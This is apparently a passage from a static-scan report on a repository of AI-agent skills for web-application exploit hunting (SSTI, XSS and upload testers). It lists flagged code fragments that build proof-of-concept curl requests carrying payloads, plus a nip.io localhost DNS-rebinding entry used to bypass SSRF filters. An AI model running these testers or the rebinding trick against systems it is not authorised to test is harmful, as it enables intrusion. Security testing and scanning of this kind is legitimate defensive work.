    "http://127.0.0.1.nip.io/",    # DNS rebinding via nip.io
  • Network accessline 205
    "method": method,                     "poc_curl": (                         f"curl -k '{test_url}'" if method == "GET"
  • Network accessline 206
    "poc_curl": (                         f"curl -k '{test_url}'" if method == "GET"                         else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"
  • Network accessline 207
    f"curl -k '{test_url}'" if method == "GET"
  • Network accessline 208
    else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"

webapp-exploit-hunter/scripts/ssti_tester.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 41
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 42
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 43
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 44
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(131072).decode("utf-8", errors="replace")
  • Network accessline 45
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 187
    "poc_url": test_url if method == "GET" else None,                     "poc_curl": (                         f"curl -k '{test_url}'" if method == "GET"
  • Network accessline 188
    "poc_curl": (                         f"curl -k '{test_url}'" if method == "GET"                         else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"
  • Network accessline 189
    f"curl -k '{test_url}'" if method == "GET"
  • Network accessline 190
    else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"

webapp-exploit-hunter/scripts/upload_tester.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 52
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 54
    start = time.time()     try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 55
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")
  • Network accessline 56
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

webapp-exploit-hunter/scripts/vuln_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3

webapp-exploit-hunter/scripts/xss_tester.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 41
    if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 42
    data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:
  • Network accessline 43
    req = urllib.request.Request(url, data=data, headers=default_headers, method=method)
  • Network accessline 44
    try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(131072).decode("utf-8", errors="replace")
  • Network accessline 45
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
  • Network accessline 215
    "poc_url": test_url if method == "GET" else None,                 "poc_curl": (                     f"curl -k '{test_url}'" if method == "GET"
  • Network accessline 216
    "poc_curl": (                     f"curl -k '{test_url}'" if method == "GET"                     else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"
  • Network accessline 217
    f"curl -k '{test_url}'" if method == "GET"
  • Network accessline 218
    else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Declared and executed: 14 facts
Signal confidence: 486 facts

and 436 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeCompatibleStandard SKILL.md api-breaker/SKILL.md.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md api-breaker/SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md api-breaker/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md api-breaker/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md api-breaker/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md api-breaker/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.